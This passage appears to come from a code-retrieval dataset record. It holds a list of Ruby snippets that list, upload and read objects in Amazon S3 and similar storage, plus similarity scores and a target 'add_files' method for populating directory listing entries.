\"media/#{prefix}\"\n puts \"Listing media files in s3://#{$s3_bucket}/#{prefix}\"\n\n objects = []\n $s3_client.list_objects(bucket: $s3_bucket, prefix: prefix).each do |resp|\n if block_given?\n resp.contents.each do |object|\n yield object unless object[:key].end_with? '/'\n end\n else\n objects.concat(resp.contents.reject{|object| object[:key].end_with? '/' })\n end\n end\n objects unless block_given?\nend", "def get_files_for_download\n files_to_download = {}\n s3_files = []\n \n # S3\n get_s3_files do\n @s3_log_reader = ::Logical::Naf::LogReader.new\n s3_files = retrieve_log_files_from_s3\n end\n\n # Add S3 files to the hash, mapping them to true (need to read from s3)\n s3_files.each do |file_to_add|\n files_to_download[file_to_add] = true\n end\n\n return files_to_download unless record_id.present?\n\n # Non-S3\n if File.directory?(\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}\")\n files = Dir[\"#{::Naf::PREFIX_PATH}/#{::Naf.schema_name}/jobs/#{record_id}/*\"]\n else\n return files_to_download\n end\n\n if files.present?\n # Sort log files based on time and add them the hash (mapped to false)\n files.sort { |x, y| Time.parse(y.scan(DATE_REGEX)[0][0]) <=> Time.parse(x.scan(DATE_REGEX)[0][0]) }.each do |file_to_add|\n files_to_download[file_to_add] = false\n end\n end\n\n return files_to_download\n end", "def files bucket_name\n body_wrap = b2_list_file_names bucketId: (bucket_id bucket_name: bucket_name)\n # ignoring the top-level {files:, nextFileName:} structure\n body_wrap.files\n end", "def initialize(s3, bucket_name, creation_date)\n @s3 = s3\n @name = bucket_name\n @creation_date = creation_date\n\n @cache = {}\n end", "def store_entries(entries)\n path_checksums = {}\n entries.each do |entry|\n path_checksums[entry.path] = entry.sha256 if entry.sha256.present?\n store_entry entry\n end\n store_checksums path_checksums\n end", "def parse_files_for_download\n files = get_files_for_download # now a hash\n\n unless files.present?\n return \"\"\n else\n files.each_pair do |file, s3_needed|\n # Use Yajl JSON library to parse the log files, as they contain multiple JSON blocks\n parser = Yajl::Parser.new\n @read_from_s3 = s3_needed\n json = get_json_from_log_file_for_download(file)\n parser.parse(json) do |log|\n @jsons << log\n end\n sort_jsons\n end\n end\n end", "def entries\n require_initialized_entry_class do \n Array.load(self[:@entries_url])\n end\n end", "def keys(bucket_name, options = {})\n paramters = {}\n paramters['prefix'] = options[:prefix] if options[:prefix]\n paramters['marker'] = options[:marker] if options[:marker]\n paramters['max_keys'] = options[:max_keys] if options[:max_keys]\n paramters['prefix'] = options[:prefix] if options[:prefix]\n\n response = send_s3_request('GET', :bucket => bucket_name, :paramters => paramters)\n parser = Awsum::S3::ObjectParser.new(self)\n parser.parse(response.body)\n end", "def ls(bucket)\n puts \"> AWS Bucket: ls #{bucket}\".yellow\n response = s3_client.list_objects_v2(bucket: bucket)\n files = response.contents\n files_str = files.map do |entry|\n \"#{entry.last_modified.to_s.greenish}\\t#{entry.size.to_s.blueish}\\t#{entry.key.yellow}\"\n end\n files_str.each do |entry|\n puts entry\n end\n end", "def process_bucket(bucketname,options: {},logger: Logger.new(LOGFILE))\n \n client = Elasticsearch::Client.new(host: options.elasticsearch, log: false)\n indexer = ElasticIndexer.new(client: client, autocommit: 500,logger: logger)\n \n logger.info(\"Scanning #{bucketname}\")\n Aws::S3::Bucket.new(bucketname).objects.each {|objectsummary|\n logger.info(\"got key #{objectsummary.key}\")\n ct_major = \"\"\n ct_minor = \"\"\n parts = /^(.*)\\/(.*)$/.match(objectsummary.object.content_type)\n if parts\n ct_major = parts[1]\n ct_minor = parts[2]\n else\n logger.warn(\"Unable to parse content type '#{objectsummary.object.content_type}'\")\n end\n \n xtn = \"\"\n parts = /\\.([^\\.]+)$/.match(objectsummary.key)\n if parts\n xtn = parts[1]\n end\n \n ap objectsummary.object.metadata\n \n indexer.add_record({\n bucket: bucketname,\n etag: objectsummary.etag,\n path: objectsummary.key,\n last_modified: Date.parse(objectsummary.last_modified.to_s).iso8601,\n owner: {\n display_name: objectsummary.owner.display_name,\n id: objectsummary.owner.id\n },\n size: objectsummary.size,\n content_type: {\n major: ct_major,\n minor: ct_minor,\n raw: objectsummary.object.content_type\n },\n storage_class: objectsummary.storage_class,\n content_encoding: objectsummary.object.content_encoding,\n content_disposition: objectsummary.object.content_disposition,\n extra_data: objectsummary.object.metadata,\n file_extension: xtn\n })\n }\n indexer.commit\nrescue Aws::S3::Errors::PermanentRedirect=>e\n logger.error(e.message)\nend", "def pull_from_s3\n FileUtils.mkdir_p File.dirname local_path\n file = open(local_path, \"wb\") {|f| f << open(s3_url(:orig=>true)).read }\n end", "def files\n entries.map(&:filepath)\n end", "def entries\n {file => self}\n end", "def list_s3_buckets()\n\n s3 = connect_to_s3()\n response = s3.list_buckets\n\n response.buckets.each do |bucket|\n puts \"#{bucket.creation_date} #{bucket.name}\"\n end\n\nend", "def retrieve_objects_via_http(bucket)\n _log 'Retrieving objects via unauthenticated method.'\n r = http_request :get, \"https://#{bucket}.s3.amazonaws.com\"\n if r.code != '200'\n _log 'Failed to retrieve any objects using the unauthenticated technique as bucket listing is disabled.'\n return\n end\n\n xml_doc = Nokogiri::XML(r.body)\n xml_doc.remove_namespaces!\n results = xml_doc.xpath('//ListBucketResult//Contents//Key').children.map(&:text)\n results[0...999] # return first 1k results as some buckets may have tons of objects\n\n # format before\n results.reject! { |b| b =~ %r{.+/$} } unless results.nil? # remove folder names if bucket_objs is not nil\n results unless results.empty? \n end", "def fetch_items_from_filesystem_or_zip\n unless in_zip?\n @items = Dir.foreach(current_dir).map {|fn|\n load_item dir: current_dir, name: fn\n }.to_a.partition {|i| %w(. ..).include? i.name}.flatten\n else\n @items = [load_item(dir: current_dir, name: '.', stat: File.stat(current_dir)),\n load_item(dir: current_dir, name: '..', stat: File.stat(File.dirname(current_dir)))]\n zf = Zip::File.new current_dir\n zf.each {|entry|\n next if entry.name_is_directory?\n stat = zf.file.stat entry.name\n @items << load_item(dir: current_dir, name: entry.name, stat: stat)\n }\n end\n end", "def retrieve_cloud_files(files); end", "def files_hashs\n @files.map do |file|\n hash = case file\n when String\n { url: file }\n when Hash\n file.dup\n else\n raise ArgumentError, 'files must be an Array of Stings or Hashs'\n end\n\n hash[:local_path] = local_path\n hash\n end\n end", "def init; @entries = [] end", "def files_on_remote\n @bucket_contents = nil\n bucket_contents.map {|item| File.basename(item['Key']) }.sort\n end", "def import\n self.files.each do |f|\n song = Song.new_by_filename(f)\n Artist.all << song.artist unless Artist.all.include?(song.artist)\n end \n end", "def initialize(folder_path, bucket, aws_key = ENV['AWS_KEY_ID'], aws_secret = ENV['AWS_SECRET'])\n @folder_path = folder_path\n @files = Dir.glob(\"#{folder_path}/**/*\")\n @total_files = files.length\n @connection = AWS::S3.new(access_key_id: aws_key, secret_access_key: aws_secret)\n @s3_bucket = @connection.buckets[bucket]\n end", "def compute_parts(objects, multipart_upload)\n objects.map.with_index do |object, idx|\n {\n bucket: multipart_upload.bucket_name,\n key: multipart_upload.object_key,\n upload_id: multipart_upload.id,\n copy_source: [object.bucket_name, object.key].join(\"/\"),\n part_number: idx + 1,\n }\n end\n end", "def initialize(data_source, *opts)\n @data_source = data_source\n @s3_bucket = AWS::S3.new.buckets[@data_source.s3_path[/s3:\\/\\/([\\w-]+)\\//,1]]\n @s3_obj = @s3_bucket.objects[@data_source.s3_path[/s3:\\/\\/[\\w-]+\\/(.*)/,1]]\n end", "def set_grffk_attributes\n tries ||= 5\n\n #Uploaded Asset Process ****\n #Extracts raw filename \n #Creates unescaped URL with encode filename\n upload_url = CGI.unescape(cloud_asset_url)\n file_name = upload_url.split(\"/\").last\n upload_info = upload_url.split(\"/\")\n upload_info.pop\n full_upload_url = upload_info.join(\"/\") + (\"/\") + URI.encode(file_name)\n\n #Uploaded Asset Process ****\n #Convert URL to URI Object \n #replace URL-encoded filename with Raw filename\n cloud_asset_url_data = URI.parse(full_upload_url)\n cloud_asset_no_slash = cloud_asset_url_data.path[1..-1]\n cloud_asset_info = cloud_asset_no_slash.split(\"/\")\n cloud_asset_info.pop\n full_asset_path = cloud_asset_info.join(\"/\") + (\"/\") + file_name\n\n direct_upload_head = S3_BUCKET.objects[full_asset_path].head \n\n self.grffk_file_name = file_name\n self.grffk_file_size = direct_upload_head.content_length\n self.grffk_content_type = direct_upload_head.content_type\n self.grffk_updated_at = direct_upload_head.last_modified\n rescue AWS::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n raise e\n end\n end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n object_key = 'my-file.txt'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_object_acls(s3_client, bucket_name, object_key)\r\nend", "def get_objects(prefix = '')\n prefix = prefix.toutf8\n \n if @s3.options[:enable_cache] && !@cache[:objects].nil? &&\n !@cache[:objects][prefix].nil?\n return @cache[:objects][prefix]\n end\n \n if @cache[:objects].nil?\n @cache[:objects] = {}\n end\n \n objects = {}\n request_uri = \"/#{@name}?prefix=#{URI.escape(prefix)}\"\n is_truncated = true\n \n # The request is made in a loop because the S3 API limits results to pages\n # of 1,000 objects by default, so if there are more than 1,000 objects,\n # we'll have to send more requests to get them all.\n while is_truncated do\n response = @s3.request_get(request_uri)\n @s3.error?(response)\n \n xml = REXML::Document.new(response.body)\n \n if xml.root.elements['IsTruncated'].text == 'false'\n is_truncated = false\n else\n request_uri = \"/#{@name}?prefix=#{URI.escape(prefix)}&marker=\" +\n xml.root.elements.to_a('Contents').last.elements['Key'].text\n end\n \n next if xml.root.elements['Contents'].nil?\n \n xml.root.elements.each('Contents') do |element|\n object_key = element.elements['Key'].text\n object_size = element.elements['Size'].text\n object_etag = element.elements['ETag'].text\n object_last_modified = Time.parse(\n element.elements['LastModified'].text)\n \n objects[object_key] = S3::Object.new(@s3, self, object_key,\n object_size, object_etag, object_last_modified)\n end\n end\n\n return @cache[:objects][prefix] = objects\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def get_entries(dir, subfolder); end", "def run_me\r\n bucket_name = 'doc-example-bucket'\r\n region = 'us-west-2'\r\n s3_client = Aws::S3::Client.new(region: region)\r\n\r\n list_bucket_objects(s3_client, bucket_name)\r\nend", "def file_entries(sleep_time: 2, tries: 5)\n attempts ||= 0\n begin\n file_info = []\n # streams the response body in chunks\n response = BASE_HTTP.get(@presigned_url)\n\n raise HTTP::Error, \"Bad status code #{response&.status&.code}\" unless response.status.ok?\n\n Zlib::GzipReader.wrap(response.body) do |gz|\n Gem::Package::TarReader.new(gz) do |tar|\n tar.each do |entry|\n # puts entry.inspect\n file_info << { file_name: entry.full_name, uncompressed_size: entry.size }\n end\n end\n end\n file_info\n rescue HTTP::Error, ArgumentError => e # ArgumentError is from Ruby tar library\n Rails.logger.error(\"Error caught attempt #{attempts} -- #{e.message}\")\n sleep sleep_time\n if (attempts += 1) < tries\n retry\n end\n raise(e)\n end\n end", "def s3_object\n @s3_object ||= bucket.objects[full_key]\n end", "def fetch_entries\n entries.inject([]){ |all, entry| all << entry << addendas[entry] }.flatten.compact\n end", "def create_object_list(section, mapper)\n @api.objects\n .select { |o| section.key?(o.name) }\n .map do |o|\n Hash[section[o.name].map { |file| mapper.call(o, file) }]\n end\n end", "def list_my_buckets(s3)\n resp = s3.list_buckets()\n puts \"My buckets now are:\\n\\n\"\n\n resp.buckets.each do |bucket|\n puts bucket.name\n end\n\nend", "def put(io_streams, as=io_streams.map{|file| File.basename(file)})\n batch(io_streams) do |stream, i|\n dest = as[i]\n yield(stream, dest) if block_given?\n begin\n s3.buckets[@bucket_name].objects[dest].write(stream, :acl => :public_read)\n rescue AWS::S3::Errors::NoSuchBucket\n s3.buckets.create(@bucket_name, :acl => :public_read)\n stream.rewind\n retry\n end #begin\n file_to_url(dest)\n end #batch\n end", "def list_objects(s3_client, bucket_name)\r\n response = s3_client.list_objects_v2(bucket: bucket_name)\r\n if response.contents.count.zero?\r\n puts 'No objects.'\r\n else\r\n response.contents.each do |object|\r\n puts object.key\r\n end\r\n end\r\nrescue StandardError => e\r\n puts \"Error listing objects: #{e.message}\"\r\nend", "def set_upload_attributes\n tries ||= 5\n direct_upload_url_data = URI.parse(direct_upload_url).path[8..-1].to_s\n s3 = AWS::S3.new\n direct_upload_head = s3.buckets[BUCKET_NAME].objects[direct_upload_url_data].head\n self.image_file_name = direct_upload_url_data[direct_upload_url_data]\n self.image_file_size = direct_upload_head.content_length\n self.image_content_type = direct_upload_head.content_type\n self.image_updated_at = direct_upload_head.last_modified\n self.processed = false \n rescue AWS::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n raise e\n end\n end", "def index\n @s3images = S3image.all\n\n end", "def init_list!\n write! unless File.exist?(path)\n @init_mtime = File.mtime(path)\n content.deep_merge!(\n MultiJson.load(\n File.open(path, \"r\") do |file|\n file.flock(File::LOCK_SH)\n file.read\n end\n )\n )\n end", "def files; entries.find_all {|e| e.is_a? SiteFile} end", "def fetch!\n parsed_feed = FeedNormalizer::FeedNormalizer.parse open(self.feed_url)\n \n self.update_attributes( :title => parsed_feed.title,\n :url => parsed_feed.url\n #:etag => parsed_feed.etag\n #:last_modified => parsed_feed.last_modified\n )\n \n parsed_feed.entries.each do |entry|\n self.entries.create(:url => entry.url,\n :title => entry.title,\n :author => entry.author,\n #:summary => entry.summary,\n :content => entry.content\n #:published => entry.published\n #:categories => entry.categories\n ) if !Entry.find_by_url(entry.url)\n end\n end", "def upload_file(source,bucket,key_prefix,source_prefix,item_lookup)\n source_prefix = $1 if not source_prefix and source =~ /^(\\.+\\/*)/\n if File.directory?(source)\n upload_files(Dir[\"#{source}/*\"],bucket,key_prefix,source_prefix,item_lookup)\n else\n key = \"#{key_prefix}#{source[(source_prefix || '').length..-1]}\"\n source_size = File.size(source)\n if (last_size = item_lookup[key]) and last_size == source_size\n puts \"SKIP #{source}\"\n else\n if last_size\n print \"UPDATE #{source} => s3://#{bucket.name}/#{key} (#{last_size} => #{source_size})\"\n else\n print \"ADD #{source} => s3://#{bucket.name}/#{key} (#{source_size})\"\n end\n start_time = Time.now\n File.open(source,'rb') do|file|\n bucket.object(key).put(body: file)\n end\n puts \"... #{(Time.now - start_time).to_i}\"\n end\n end\nend", "def set_upload_attributes\n tries ||= 5\n direct_upload_url_data = DIRECT_UPLOAD_URL_FORMAT.match(direct_upload_url)\n\n direct_upload_head = Aws::S3::Resource.new.bucket(BUCKET_NAME).object(direct_upload_url_data[:path]).head\n\n self.image_file_name = direct_upload_url_data[:filename]\n self.image_file_size = direct_upload_head.content_length\n self.image_content_type = direct_upload_head.content_type\n self.image_updated_at = direct_upload_head.last_modified\n rescue Aws::S3::Errors::NoSuchKey => e\n tries -= 1\n if tries > 0\n sleep(3)\n retry\n else\n raise e\n end\n end", "def punch\n s3 = Aws::S3::Resource.new(region: ENV['S3_REGION'])\n obj = s3.bucket(ENV['S3_BUCKET']).object(@name)\n \n begin\n # Upload the file\n obj.upload_file(\n @file.path,\n content_type: MimeMagic.by_path(@file.path).type,\n acl:'public-read'\n )\n rescue => e\n Rails.logger.error { \"#{e.message} #{e.backtrace.join(\"\\n\")}\" }\n return false\n end\n \n # Create an object for the upload\n return upload = {\n file_name: obj.key,\n file_url: obj.public_url,\n file_type: obj.content_type,\n file_size: obj.size\n }\n \n end", "def getTestersList(org_id)\n begin\n UI.message(\"Getting s3://sportarchive-prod-creds/bfan_testers_list.txt\")\n s3 = Aws::S3::Client.new(region: 'us-east-1')\n obj = s3.get_object({\n bucket: \"sportarchive-prod-creds\",\n key: 'bfan_testers_list.txt'\n },\n target: '/tmp/bfan_testers_list.txt')\n rescue StandardError => e\n UI.error(\"Unable to get testers list from S3 from s3://sportarchive-prod-creds/bfan_testers_list.txt \")\n return \"\"\n end\n\n testers = File.read('/tmp/bfan_testers_list.txt').split(\",\")\n\n org = getOrg(org_id)\n if org && org['settings'] && org['settings']['apps'] && org['settings']['apps']['testers']\n UI.message(\"Adding custom testers: #{org['settings']['apps']['testers'].join(',')}\")\n testers |= org['settings']['apps']['testers']\n end\n\n testers = testers.compact.reject(&:empty?).map!(&:strip)\n testers = testers.join(',')\n UI.important(\"Testers: #{testers}\")\n\n return testers\nend", "def initialize(opts={})\n opts = {:bucket_name=>'marpa-foundation', :import_directory=>\"import\"}.merge(opts)\n @bucket_name = opts[:bucket_name]\n @import_directory = opts[:import_directory]\n\n # Set up the connection to S3 if it has not already been established\n s3keys = YAML.load(File.open(File.join(RAILS_ROOT,\"config\",\"s3.yml\")))\n begin\n AWS::S3::Base.connection\n rescue AWS::S3::NoConnectionEstablished\n AWS::S3::Base.establish_connection!(\n :access_key_id => s3keys[\"default\"][\"access_key_id\"],\n :secret_access_key => s3keys[\"default\"]['secret_access_key']\n )\n end\n @account_id = AWS::S3::Base.connection.access_key_id\n @bucket = AWS::S3::Bucket.find(@bucket_name)\n end", "def file_names\n file_names = []\n @bucket.objects.each do |obj|\n file_names << obj.key\n end\n file_names\n end", "def initialize()\n @items = []\n @filename = \"watchlist.json\"\n get_items_from_file()\n end", "def fetch_s3(package)\n\tbucket = $s3client.bucket(\"rogoodpractice\")\n\t\n\t# get all objects\n obs = bucket.objects;\n \n # pull out those matching package name\n obs = obs.select { |a| a.key.match(/#{package}/) };\n\n # pull out those with .txt files\n obstxt = obs.select { |a| a.key.match(/\\.txt/) }\n\n # pull out latest file by timestamp\n\ttarget = obstxt.max_by { |a| a.last_modified }\n\n\t# get URL\n\ttarget.temporary_url\nend", "def entries\n cat_dir = Settings.catalog_dir\n #\n #personal_entries = []\n #Dir.entries(@personal_dir).each do |r|\n # personal_entries << r if FileTest::file?(File.join(@catalog_dir,r))\n #end\n # this probably needs enhancement\n #reposits = @catalog_urls.collect { |r|\n # ['.gz','.bz2','.zip','.tgz','.tar'].inject(File.basename(r)) { |bn, ch| bn.chomp(ch) }\n #}.reverse\n public_entries = []\n Dir.entries(cat_dir).each do |r|\n reposit = File.join(cat_dir,r)\n if File.directory?(reposit) and r != '.' and r != '..' and r != 'CVS'\n Dir.entries(reposit).each do |d|\n public_entries << \"#{File.basename(reposit)}/#{d}\" if File.file?(File.join(reposit,d))\n end\n elsif File.file?(reposit)\n public_entries << \"#{File.basename(reposit)}\" if r !~ /(\\.gz|\\.bz2|\\.zip|\\.tgz|\\.tar)$/\n end\n end\n #personal_entries + public_entries\n public_entries\n end", "def parseFileslist(doc, params, path)\n prev_commit_hash = (doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash') ? doc.find_first('//xmpp2rest/user/device/files/prev_commit_hash').content : nil) \n commit_hash = (doc.find_first('//xmpp2rest/user/device/files/commit_hash')) ? doc.find_first('//xmpp2rest/user/device/files/commit_hash').content : nil\n \n if not commit_hash\n raise Exception.new(\"Missing element: commit_hash\")\n end\n \n puts \"Prev_commit_hash: \" + prev_commit_hash.to_s\n puts \"Commit_hash: \" + commit_hash.to_s\n \n location = {}\n location['latitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/latitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/latitude').content : \"NULL\"\n location['longitude'] = (doc.find_first('//xmpp2rest/user/device/files/location/longitude')) ? doc.find_first('//xmpp2rest/user/device/files/location/longitude').content : \"NULL\"\n \n filelist = Hash.new\n doc.find('//user/device/files/file').each do |file|\n fullpath = (file.attributes.get_attribute(\"fullpath\")) ? file.attributes.get_attribute(\"fullpath\").value : nil \n filepath = (file.find_first('path')) ? file.find_first('path').content : nil\n filename = (file.find_first('filename')) ? file.find_first('filename').content : nil \n filedate = (file.find_first('filedate')) ? file.find_first('filedate').content : nil\n filetype = (file.find_first('filetype')) ? file.find_first('filetype').content : nil\n filesize = (file.find_first('filesize')) ? file.find_first('filesize').content : nil\n version_hash = (file.find_first('version_hash')) ? file.find_first('version_hash').content : nil\n\n if not filepath or not filename or not filetype or not filesize or not filedate or not version_hash\n raise Exception.new(\"Not all the needed metadata given: filename, filetype, filesize, filedate and version_hash are compulsory!\")\n elsif fullpath.to_s != filepath.to_s + filename.to_s\n raise Exception.new(\"fullpath: #{fullpath.to_s} doesn't match to path + name: #{filepath.to_s + filename.to_s}\")\n elsif fullpath[0,1] != '/' or filepath[0,1] != '/'\n raise Exception.new(\"path must begin with /\")\n end\nputs \"filepath: #{filepath}\"\n filelist.merge!({fullpath => {\"status\" => \"created\", \"blob_hash\" => version_hash, \"name\" => filename, \"path\" => filepath, \"size\" => filesize, \"filetype\" => filetype, \"filedate\" => filedate.to_s}}) \n end\n contains = YAML.dump_stream(filelist)\nputs \"contains: #{contains.to_s}\"\n if prev_commit_hash\n puts \"prev hash added!\"\n params['prev_commit_hash'] = prev_commit_hash\n end\n \n path += \"/files\"\n params.merge!({ 'contains' => contains, 'commit_hash' => commit_hash, 'commit_location' => location})\n return params, path\n end", "def initialize\n @entries = {}\n end" ]
[ "0.6038653", "0.5990461", "0.5958862", "0.59039414", "0.58769494", "0.5701317", "0.5688382", "0.56877667", "0.5667212", "0.56515414", "0.56489974", "0.5635592", "0.5594798", "0.55798024", "0.5535442", "0.552656", "0.54811335", "0.5398207", "0.5394954", "0.5377686", "0.5371", "0.53640836", "0.5353556", "0.5329239", "0.53235835", "0.5312096", "0.529917", "0.5295243", "0.52708197", "0.52495384", "0.5241652", "0.52317005", "0.5217954", "0.52058476", "0.5175706", "0.515998", "0.5155913", "0.51549584", "0.5149012", "0.5141224", "0.5141039", "0.5139717", "0.5135412", "0.5133527", "0.51334625", "0.5126302", "0.5126302", "0.51254594", "0.50933045", "0.5090935", "0.5086811", "0.50864434", "0.5066669", "0.5057598", "0.5055988", "0.50529736", "0.5047553", "0.5045806", "0.50139946", "0.49880263", "0.4976702", "0.49509108", "0.4939336", "0.49369442", "0.4931095", "0.49307615", "0.49114063", "0.49058393", "0.49003506", "0.48949677", "0.48931956", "0.48848817", "0.48747504", "0.48735866", "0.48686922", "0.48589933", "0.48573112", "0.4852515", "0.48489675", "0.48487616", "0.48473597", "0.48454148", "0.48390496", "0.48336944", "0.48311383", "0.48254293", "0.48208427", "0.48206463", "0.4815555", "0.4813581", "0.48112676", "0.48031116", "0.4799495", "0.47993577", "0.4795039", "0.47918057", "0.47891182", "0.47880623", "0.4787187", "0.4784212" ]
0.48745635
73
Given a listing and a S3 listing and path, populate the entries
def add_files(listing, path) listing.contents.each do |entry| key = from_base(entry.key) new_entry = entry_for(key, entry.size, entry.last_modified, false) @entries << new_entry unless strip(key) == strip(path) || new_entry.nil? end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n foldernames = []\n if listing_params.has_key?('photo') && @listing.photo.present?\n foldernames.push(@listing.photo.match(/uploads.*/)[0])\n end\n if listing_params.has_key?('manual') && @listing.manual.present?\n foldernames.push(@listing.manual.match(/uploads.*/)[0])\n end\n if listing_params.has_key?('map') && @listing.map.present?\n foldernames.push(@listing.map.match(/uploads.*/)[0])\n end\n foldernames.each {|foldername|\n S3_BUCKET.delete_objects(delete: {objects: [key: foldername]})\n }\n respond_to do |format|\n if @listing.update(listing_params)\n format.html { redirect_to @listing, notice: 'Listing was successfully updated.' }\n format.json { render :show, status: :ok, location: @listing }\n else\n format.html { render :edit }\n format.json { render json: @listing.errors, status: :unprocessable_entity }\n end\n end\n end", "def fs_batch__fetch_from_aws_s3_to_local *args\n aws_s3_path,\n local_path,\n local_path_is_dir,\n reserved = args\n\n aws_s3_batch = aws_s3_batch__fetch_file aws_s3_path, local_path\n\n batch = [\n (local_path_is_dir && [\"mkdir\", \"-p\", \"#{local_path}\" ] || nil),\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ] +\n aws_s3_batch + [\n [\"ls\", \"-lh\", \"#{local_path}\" ]\n ]\n\n batch.compact\n end", "def generate_listing(path)\n client\n listing = client.list_objects(bucket: config[:bucket], delimiter: '/', prefix: full_path(path))\n add_directories(listing)\n add_files(listing, path)\n end", "def add_directories(listing)\n listing.common_prefixes.each do |prefix|\n new_entry = entry_for(from_base(prefix.prefix), 0, Time.current, true)\n @entries << new_entry unless new_entry.nil?\n end\n end", "def save_to_s3(file_name, listing_id)\n connect_to_s3() if ! @s3\n obj = @s3.bucket(S3_BUCKET).object(file_name)\n obj.upload_file('tmp/tmp.jpg')\n end", "def update \n s3 = AWS::S3.new\n amazons = s3.buckets[BUCKET].objects\n Song.destroy_all\n amazons.each do |song|\n strip_title(song.key)\n Song.create(title: @title, filename: song.key, year: song.metadata[\"year\"], artist: song.metadata[\"artist\"], blurb: song.metadata[\"blurb\"])\n end\n redirect_to songs_path \n end", "def collect_media(prefix=\"\")\n media = {}\n\n s3_media = list_objects(prefix)\n puts \"Found #{s3_media.count} objects\"\n s3_media.each do |object|\n path = object[:key].slice(6, object[:key].length)\n media[path] ||= {}\n media[path][:s3] = object\n end\n\n local_media = list_files(prefix)\n puts \"Found #{local_media.count} files\"\n local_media.each do |file|\n path = file[:path].slice(6, file[:path].length)\n media[path] ||= {}\n media[path][:local] = file\n end\n\n media\nend", "def find_s3_files\n output = `s3cmd ls #{self.location}/`\n output.gsub!(/DIR/,\"\")\n output.gsub!(/ +/,\" \")\n dir_listing = output.split(/\\n/)\n logger.debug(\"dir_listing #{dir_listing.inspect}\")\n files = Hash.new\n dir_listing.each do |list|\n if (list.match(/^ /)) then\n # found a directory - not going to worry about going down the directory for now\n else\n # found a file\n (date, time, size, path) = list.split(/ /)\n filename = File.basename(path).split(\"/\").last\n FILE_TYPES.each { |filepart, filehash| \n type = filehash[\"type\"]\n vendor = filehash[\"vendor\"]\n if filename.match(filepart) then \n #logger.debug( \"filename is #{filename}\")\n files[type] = Hash.new\n files[type][\"path\"] = path\n files[type][\"vendor\"] = vendor\n end\n }\n end\n end\n logger.debug(\" files is #{files.inspect}\")\n return files\n end", "def populate_list_of_files_from_file(file_list, entry)\n logger.debug \"\\\"#{entry}\\\" is a file. Processing...\"\n file_list << entry\n # Find images if any\n Find.find(File.dirname(entry)) do |file|\n file_list << file if (File.file?(file) && is_image?(file))\n end\n end", "def initialize \n @s3 = Aws::S3::Resource.new(region: 'us-east-1', access_key_id: Rails.application.credentials.dig(:aws, :access_key_id), secret_access_key: Rails.application.credentials.dig(:aws, :secret_access_key))\n @date_time = Time.new \n @file_names = []\n @downloads = []\n @sorted_downloads\n end", "def find(key, bucket = nil)\n # N.B. This is arguably a hack. From what the current S3 API exposes, when you retrieve a bucket, it\n # provides a listing of all the files in that bucket (assuming you haven't limited the scope of what it returns).\n # Each file in the listing contains information about that file. It is from this information that an S3Object is built.\n #\n # If you know the specific file that you want, S3 allows you to make a get request for that specific file and it returns\n # the value of that file in its response body. This response body is used to build an S3Object::Value object. \n # If you want information about that file, you can make a head request and the headers of the response will contain \n # information about that file. There is no way, though, to say, give me the representation of just this given file the same \n # way that it would appear in a bucket listing.\n #\n # When fetching a bucket, you can provide options which narrow the scope of what files should be returned in that listing.\n # Of those options, one is <tt>marker</tt> which is a string and instructs the bucket to return only object's who's key comes after\n # the specified marker according to alphabetic order. Another option is <tt>max-keys</tt> which defaults to 1000 but allows you\n # to dictate how many objects should be returned in the listing. With a combination of <tt>marker</tt> and <tt>max-keys</tt> you can\n # *almost* specify exactly which file you'd like it to return, but <tt>marker</tt> is not inclusive. In other words, if there is a bucket\n # which contains three objects who's keys are respectively 'a', 'b' and 'c', then fetching a bucket listing with marker set to 'b' will only\n # return 'c', not 'b'. \n #\n # Given all that, my hack to fetch a bucket with only one specific file, is to set the marker to the result of calling String#previous on\n # the desired object's key, which functionally makes the key ordered one degree higher than the desired object key according to \n # alphabetic ordering. This is a hack, but it should work around 99% of the time. I can't think of a scenario where it would return\n # something incorrect.\n \n # We need to ensure the key doesn't have extended characters but not uri escape it before doing the lookup and comparing since if the object exists, \n # the key on S3 will have been normalized\n key = key.remove_extended unless key.valid_utf8?\n bucket = Bucket.find(bucket_name(bucket), :marker => key.previous, :max_keys => 1)\n # If our heuristic failed, trigger a NoSuchKey exception\n if (object = bucket.objects.first) && object.key == key\n object \n else \n raise NoSuchKey.new(\"No such key `#{key}'\", bucket)\n end\n end", "def pull_from_s3\n FileUtils.mkdir_p File.dirname local_path\n file = open(local_path, \"wb\") {|f| f << open(s3_url(:orig=>true)).read }\n end", "def listing_params\n params.require(:listing).permit(:name, :description, :price, :slug, {listingimages: []})\n end", "def listing_params\n params.require(:listing).permit(:name, :location, :description, :price, :tag_list, photos: [])\n end", "def add_to_list(list_name, file_name)\n csv = CSV.read(file_name)\n\n csv.each do |entry|\n @r.hmset entry[0], \"id\", entry[0], \"email\", entry[1], \"status\", entry[2]\n @r.sadd(list_name, entry[0]) if entry[2] == \"Active\"\n end\nend", "def create_entries\n existing_mappings = site.mappings.where(path: canonical_paths)\n\n records = canonical_paths.map do |canonical_path|\n entry = BulkAddBatchEntry.new(path: canonical_path)\n entry.mappings_batch = self\n entry.mapping = existing_mappings.detect { |mapping| mapping.path == canonical_path }\n entry\n end\n\n BulkAddBatchEntry.import(records, validate: false)\n end", "def initialize(folder_path, bucket, aws_key = ENV['AWS_ACCESS_KEY_ID'], aws_secret = ENV['AWS_SECRET_ACCESS_KEY'])\n @folder_path = folder_path\n @files = Dir.glob \"#{@folder_path}/**/{*,.*}\"\n @connection = Aws::S3::Resource.new(access_key_id: aws_key, secret_access_key: aws_secret, region: 'us-east-1')\n @s3_bucket = @connection.bucket(bucket)\n end", "def put_sitemap(location)\n content_type = location[:compress] ? 'application/x-gzip' : 'application/xml'\n\n s3_client.put_object(\n acl: 'public-read',\n body: File.open(location.path),\n bucket: @bucket_name,\n cache_control: 'private, max-age=0, no-cache',\n content_type: content_type,\n key: 